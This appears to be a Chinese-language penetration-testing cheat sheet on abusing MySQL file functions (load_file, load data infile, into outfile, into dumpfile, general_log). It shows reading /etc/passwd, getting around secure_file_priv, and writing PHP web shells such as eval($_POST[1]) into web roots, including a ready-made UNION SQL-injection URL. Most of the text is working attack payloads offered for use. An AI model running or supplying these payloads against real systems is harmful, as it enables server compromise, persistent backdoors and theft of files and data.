0x00 注意点
注意: 读与写操作,要求是当前连接的mysql用户为root权限才行!
0x01 读写文件操作讲解
5.5.53之前的版本是secure_file_priv变量 默认为空 所以直接就可以使用
load_file函数与into outfile函数只有满足以下条件可以使用:
- 当前连接的mysql用户为root权限
- 文件权限: chmod a+x pathtofile
- 文件大小: 必须小于max_allowed_packet
注意: mysql版本,低于5.5时满足上面3个条件即可使用,高于5.5时mysql新出了一个secure-file-priv字段
- secure-file-priv字段 : secure-file-priv参数是用来限制LOAD DATA, SELECT … > OUTFILE, and LOAD_FILE()传到哪个指定目录的。
- ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
- 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
- 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
- 查看自己是否有读取权限sql: select (select count(*) from mysql.user)>0
- 如果结果返回正常,说明具有读写权限
- 如果返回错误,应该是管理员给数据库账户降权
查看secure-file-priv参数的值: show global variables like ‘%secure%’;
mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | NULL |
+------------------+-------+
2 rows in set (0.00 sec)
- 默认的为NULL。即不允许导入导出
- 为了实验能正常做下去
- 修改mysql.ini 文件,在[mysqld] 下加入
- windows下: 修改my.ini 在[mysqld]内加入secure-file-priv = ‘’
- linux下: 修改my.cnf 在[mysqld]内加入secure_file_priv = ‘’
- 保存,然后重启mysql即可
0x02 INTO OUTFILE函数 与 INTO DUMPFILE函数 差别
INTO OUTFILE函数写文件时会在每一行的结束自动加上换行符
INTO DUMPFILE函数在写文件会保持文件得到原生内容,这种方式对于二进制文件是最好的选择
(1) into outfile:
- outfile 可导出多行,并会在每⾏的结束加上换⾏符
如果test表中的内容有多行
导出效果
- outfile 将数据写到文件里时有特殊的格式转换
a\naa\raaaa
写入时\n
被转义,并且文件末尾加了一个新行
导致写shell时要注意特殊字符
- outfile 的路径不能是0x开头或者char转换以后的路径,只能是引号包裹的路径
导致写shell时无法通过hex编码或char()来bypass引号转义等 - 文件不能覆盖写入,所以写入文件必须为不存在
(2)dumpfile
select '<?php phpinfo(); ?>' into dumpfile "C:\\phpStudy\\MySQL\\bin\\1.php";
select * from student into outfile 'C:/phpStudy/MySQL/bin/test.php';
需要注意的点:
dumpfile 只能导出一行
dumpfile 在写⽂件时会保持⽂件的原⽣内容/原数据格式,适合写二进制文件,如exe文件,udf提权的dll文件
dumpfile 的路径不能是0x开头或者char转换以后的路径
- 文件不能覆盖写入,所以写入文件必须为不存在
0x03 load_file函数读文件
select load_file(‘/etc/passwd’);
十六进制读: select load_file(0x2F6574632F706173737764)
例如 linux 系统的网站 load_file(‘etc/passwd’) 或者 windows 系统的网站 load_file(‘c:\boot.ini’)。这个参数可以用的前提是,user() 用户在mysql.user表中的字段为 file_priv 设置为Y,查看是否有写入权限。
需要注意的是,如果是windows 系统,保险起见将路径设置为双斜杠,因为双斜杠在计算机语言中是单斜杠的意思,如果为单斜杠。例如 d:\table ,那么这个路径中的 \t 就会解析成键盘上的 table 键, \n\r 类似。 很多时候php的网站的 gpf 会设置为ON ,(对特殊字符进行转义,将单引号 自动修改为 \’) 那么 load_file(’c:\boot.ini’) 就会变成 load_file(\’c:\\boot.ini\’) 出现语法错误,得不到结果。解决的方法就是对 c:\boot.ini 进行hex编码,输入hex转码得内容。
0x04 load data infile()函数读文件
条件:
- 所读文件的绝对路径
- secure_file_priv 的值非NULL或包含了所读文件的绝对路径
- mysql服务有对所读文件的读权限
- mysql连接用户有FILE权限/如果指定LOCAL关键词则无需FILE权限
- 如果是mysql8,需要
SET GLOBAL local_infile=1;
load data infile()将所读文件内容存储到表中load data [local] infile '/etc/passwd' into table result;
如果指定LOCAL关键词,则表明从客户端的主机上按路径读取文件,适合站库分离,无需FILE权限。
0x05 into outfile 写文件
还有一个需要注意的点,在linux写shell的时候需要找一个777目录,如果没有777目录是无法成功写入的!!!
0x05.1 写入方法1
select ‘这里写木马’ into outfile ‘网站绝对路径/xxx.php’
select '<?php phpinfo(); ?>' into outfile "C:\\phpStudy\\MySQL\\bin\\1.php";
select * from student into outfile 'C:/phpStudy/MySQL/bin/test.php';
0x04.2 写入方法2
select * from tdb_goods where goods_id=1 into outfile “网站绝对路径/xxx.php” LINES STARTING BY ‘<?php phpinfo()?>’
- LINES STARTING BY ‘写入的内容’ = 设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。
- LINES TERMINATED BY ‘写入的内容’ = 设置每行数据结尾的字符,可以为单个或多个字符。默认值是”\n”。
0x05 利用mysql日志写文件
可绕过 secure_file_priv 不管 secure_file_priv 设置的是啥,都可以直接使用这个方法绕过,生成文件
利用条件:
- root权限 或是 当前登录账号能访问 performance_schema 库
- 知道网址绝对路径
还有一个需要注意的点,在linux写shell的时候需要找一个777目录,如果没有777目录是无法成功写入的!!!
如果当前登录账号能访问 performance_schema 库那么就大概率可以shell了
- SET GLOBAL general_log=ON;
- SET GLOBAL general_log_file=’网站绝对路径/xxx.php’;
- select ‘<?php eval($_POST[1])?>’;
- SET GLOBAL general_log=OFF;
0x06 注入导出shell
web: http://127.0.0.1/xx.php?id=-1 union select 1,2,3,4,’<?php eval($_POST[1])?>’,5 into outfile ‘绝对路径’ — a
select * from tdb_goods where goods_id=-1 union select 1,2,3,4,’<?php eval($_POST[1])?>’,5 into outfile ‘绝对路径’ — a
例子: select * from tdb_goods where goods_id id=-1 union select 1,2,3,4,’<?php eval($_POST[1])?>’,5 into outfile ‘/var/www/html/1.php’ — a
0x07 INTO DUMPFILE 写文件
sql: select 1,2,3,4,’<?php eval($_POST[1])?>’,5 INTO DUMPFILE ‘E:/WWW/111111.php’ — a
0x08 INTO DUMPFILE 写文件2
不能union的写shell方法
select * from users WHERE id=1 into outfile "F:\1.php" lines terminated by "<?php echo 1; ?>"
执行完毕以后会在 F:\1.php 生成 111111.php 并且里面 <?php echo 1; ?>